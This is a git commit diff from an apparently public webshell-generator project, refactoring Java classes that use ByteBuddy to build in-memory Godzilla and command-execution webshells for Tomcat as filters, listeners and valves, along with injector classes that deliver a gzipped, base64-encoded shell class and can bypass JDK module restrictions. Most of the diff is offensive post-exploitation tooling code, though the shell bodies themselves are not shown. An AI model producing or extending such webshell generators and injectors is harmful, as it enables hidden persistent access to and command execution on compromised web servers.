mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
refactor: separate generate config
This commit is contained in:
@@ -1,14 +1,14 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.CommandConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
|
||||
/**
|
||||
@@ -17,15 +17,19 @@ import net.bytebuddy.matcher.ElementMatchers;
|
||||
*/
|
||||
public class CommandGenerator {
|
||||
|
||||
public static byte[] generate(Class<?> commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) {
|
||||
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
|
||||
if (shellConfig.getClazz() == null) {
|
||||
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||
}
|
||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("paramName").setsValue(paramName));
|
||||
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(commandClass)
|
||||
.name(commandClassName)
|
||||
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
|
||||
.redefine(shellConfig.getClazz())
|
||||
.name(shellConfig.getClassName())
|
||||
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
|
||||
.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||
if (useJakarta) {
|
||||
|
||||
if (config.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
|
||||
@@ -2,11 +2,11 @@ package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
@@ -16,34 +16,29 @@ import org.apache.commons.codec.digest.DigestUtils;
|
||||
* @since 2024/11/23
|
||||
*/
|
||||
public class GodzillaGenerator {
|
||||
public static byte[] generate(ShellConfig config, GodzillaConfig shellConfig) {
|
||||
if (shellConfig.getClazz() == null) {
|
||||
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||
}
|
||||
String md5Key = DigestUtils.md5Hex(shellConfig.getKey()).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(shellConfig.getPass() + md5Key).toUpperCase();
|
||||
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
|
||||
String pass, String key,
|
||||
String headerName, String headerValue) {
|
||||
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(shellConfig.getClazz())
|
||||
.name(shellConfig.getClassName())
|
||||
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass()))
|
||||
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
|
||||
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(shellConfig.getHeaderName()))
|
||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(shellConfig.getHeaderValue())));
|
||||
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
|
||||
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
|
||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("pass").setsValue(pass))
|
||||
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
|
||||
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
|
||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
|
||||
.name(godzillaClassName);
|
||||
|
||||
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
|
||||
|
||||
if (useJakarta) {
|
||||
if (config.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
|
||||
@@ -3,6 +3,8 @@ package com.reajason.javaweb.memsell;
|
||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.InjectorConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
@@ -22,21 +24,19 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
public class InjectorGenerator {
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
|
||||
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
|
||||
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
|
||||
public static byte[] generate(ShellConfig config, InjectorConfig injectorConfig) {
|
||||
String base64String = Base64.encodeBase64String(
|
||||
CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
|
||||
.replace(System.lineSeparator(), "");
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(injectClass)
|
||||
.name(injectClassName)
|
||||
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
|
||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
|
||||
.redefine(injectorConfig.getInjectorClass())
|
||||
.name(injectorConfig.getInjectorClassName())
|
||||
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
|
||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
|
||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||
.method(named("getClassName")).intercept(FixedValue.value(shellClassName));
|
||||
if (targetJdkVersion >= Opcodes.V9) {
|
||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||
|
||||
if (config.needByPassJdkModule()) {
|
||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
@@ -44,4 +44,4 @@ public class InjectorGenerator {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -13,7 +13,6 @@ import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.HashMap;
|
||||
@@ -66,55 +65,48 @@ public class TomcatShell {
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
|
||||
if (shellTool == null || shellType == null || shellConfig == null) {
|
||||
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
|
||||
}
|
||||
Pair<Class<?>, Class<?>> classPair;
|
||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||
Class<?> injectorClass = injectorConfig.getInjectorClass();
|
||||
byte[] shellBytes;
|
||||
boolean useJakarta = shellType.startsWith(JAKARTA);
|
||||
switch (shellTool) {
|
||||
switch (shellConfig.getShellTool()) {
|
||||
case Godzilla: {
|
||||
classPair = GODZILLA_SHELL_MAP.get(shellType);
|
||||
GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig;
|
||||
shellBytes = GodzillaGenerator.generate(classPair.getLeft(),
|
||||
godzillaConfig.getShellClassName(),
|
||||
godzillaConfig.getPass(),
|
||||
godzillaConfig.getKey(),
|
||||
godzillaConfig.getHeaderName(),
|
||||
godzillaConfig.getHeaderValue(),
|
||||
useJakarta,
|
||||
targetJdkVersion
|
||||
);
|
||||
Pair<Class<?>, Class<?>> classPair = GODZILLA_SHELL_MAP.get(shellConfig.getShellType());
|
||||
if (injectorClass == null) {
|
||||
injectorClass = classPair.getRight();
|
||||
}
|
||||
shellToolConfig.setClazz(classPair.getLeft());
|
||||
shellBytes = GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig);
|
||||
break;
|
||||
}
|
||||
case Command: {
|
||||
classPair = COMMAND_SHELL_MAP.get(shellType);
|
||||
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
|
||||
shellBytes = CommandGenerator.generate(classPair.getLeft(),
|
||||
commandConfig.getShellClassName(),
|
||||
commandConfig.getParamName(), useJakarta, targetJdkVersion);
|
||||
Pair<Class<?>, Class<?>> classPair = COMMAND_SHELL_MAP.get(shellConfig.getShellType());
|
||||
if (injectorClass == null) {
|
||||
injectorClass = classPair.getRight();
|
||||
}
|
||||
shellToolConfig.setClazz(classPair.getLeft());
|
||||
shellBytes = CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellTool);
|
||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||
}
|
||||
|
||||
Class<?> injectorClass = classPair.getRight();
|
||||
byte[] injectorBytes = InjectorGenerator.generate(injectorClass,
|
||||
shellConfig.getInjectorClassName(),
|
||||
shellConfig.getShellClassName(),
|
||||
shellBytes,
|
||||
shellConfig.getUrlPattern(),
|
||||
targetJdkVersion);
|
||||
injectorConfig = injectorConfig
|
||||
.toBuilder()
|
||||
.injectorClass(injectorClass)
|
||||
.shellClassName(shellToolConfig.getClassName())
|
||||
.shellClassBytes(shellBytes).build();
|
||||
|
||||
byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig);
|
||||
|
||||
return GenerateResult.builder()
|
||||
.shellClassName(shellConfig.getShellClassName())
|
||||
.shellBytes(shellBytes)
|
||||
.injectorClassName(shellConfig.getInjectorClassName())
|
||||
.injectorBytes(injectorBytes)
|
||||
.shellConfig(shellConfig)
|
||||
.build().encodeBase64();
|
||||
.shellToolConfig(shellToolConfig)
|
||||
.injectorConfig(injectorConfig)
|
||||
.shellClassName(shellToolConfig.getClassName())
|
||||
.shellBytes(shellBytes)
|
||||
.injectorClassName(injectorClass.getName())
|
||||
.injectorBytes(injectorBytes)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -11,7 +11,7 @@ import java.io.InputStream;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public String paramName;
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandListener implements ServletRequestListener {
|
||||
public String paramName;
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
public CommandListener() {
|
||||
}
|
||||
|
||||
+1
-1
@@ -15,7 +15,7 @@ import java.io.InputStream;
|
||||
public class CommandValve implements Valve {
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
public String paramName;
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
public CommandValve() {
|
||||
}
|
||||
|
||||
+5
-5
@@ -13,11 +13,11 @@ import java.io.IOException;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
public String key;
|
||||
public String pass;
|
||||
public String md5;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaFilter() {
|
||||
}
|
||||
|
||||
+5
-5
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||
public String md5;
|
||||
public String pass;
|
||||
public String key;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaListener() {
|
||||
}
|
||||
|
||||
+5
-5
@@ -17,11 +17,11 @@ import java.io.IOException;
|
||||
public class GodzillaValve extends ClassLoader implements Valve {
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
public String key;
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
public String md5;
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaValve() {
|
||||
}
|
||||
|
||||
+3
-3
@@ -37,15 +37,15 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "";
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
|
||||
+2
-2
@@ -22,11 +22,11 @@ import java.util.zip.GZIPInputStream;
|
||||
public class TomcatListenerInjector {
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "";
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
|
||||
+2
-8
@@ -22,20 +22,14 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TomcatValveInjector {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "";
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
|
||||
static {
|
||||
new TomcatValveInjector();
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user